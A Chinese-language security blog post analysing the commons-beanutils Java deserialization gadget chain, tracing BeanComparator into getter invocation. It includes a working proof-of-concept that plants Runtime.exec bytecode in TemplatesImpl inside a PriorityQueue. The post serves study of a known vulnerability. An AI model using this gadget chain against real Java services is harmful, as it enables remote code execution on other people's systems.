commons-beanutils反序列化漏洞

前言

最近乱七八糟的事情有点多,都没好好学习了。

看了 Apache Ofbiz XMLRPC 的反序列化漏洞,可以看这篇文章

因为环境搭建起来比较复杂,还要搞远程调试,而且过程比较简单,就是处理某种 XML 格式时会进行反序列化,所以我就懒得搞了。

不过用到的 commons-beanutils 反序列化链我还没有看过,就看一看吧。


环境搭建

随便搞个 Java 项目就行,maven:

1
2
3
4
5
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.3</version>
</dependency>

反序列链

BeanComparator 类的 compare 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public int compare( final T o1, final T o2 ) {

if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}

try {
final Object value1 = PropertyUtils.getProperty( o1, property );
final Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
...
}

看名字似乎会对对象的某个属性做一些操作,这里的对象 o 和属性名 property 都是可控的,继续往下,一路来到 PropertyUtilsBean 类的 getSimpleProperty 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Retrieve the property getter method for the specified property
final PropertyDescriptor descriptor =
getPropertyDescriptor(bean, name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" +
name + "' on class '" + bean.getClass() + "'" );
}
final Method readMethod = getReadMethod(bean.getClass(), descriptor);
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name +
"' has no getter method in class '" + bean.getClass() + "'");
}

// Call the property getter and return the value
final Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
return (value);

看起来就是调用了某个类的 getter,所以利用方式类似于 Fastjson,可以接上 TemplatesImpl 实现 RCE。

测试代码

简单写一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass clazz = pool.get(testJavassist.class.getName());
String code = "java.lang.Runtime.getRuntime().exec(\"calc\");";
clazz.makeClassInitializer().insertAfter(code);
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
byte[] classBytes = clazz.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{classBytes});
setField(templates, "_name", "Pwn");
setField(templates, "_tfactory", TransformerFactoryImpl.newInstance());

BeanComparator beanComparator = new BeanComparator("outputProperties");

PriorityQueue<Object> queue = new PriorityQueue<Object>(2, null);
queue.add("1");
queue.add("1");

setField(queue, "comparator", beanComparator);
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;

unserialize(serialize(queue));

参考

ysoserial


commons-beanutils反序列化漏洞
http://yoursite.com/2020/10/13/commons-beanutils反序列化漏洞/
作者
Aluvion
发布于
2020年10月13日
许可协议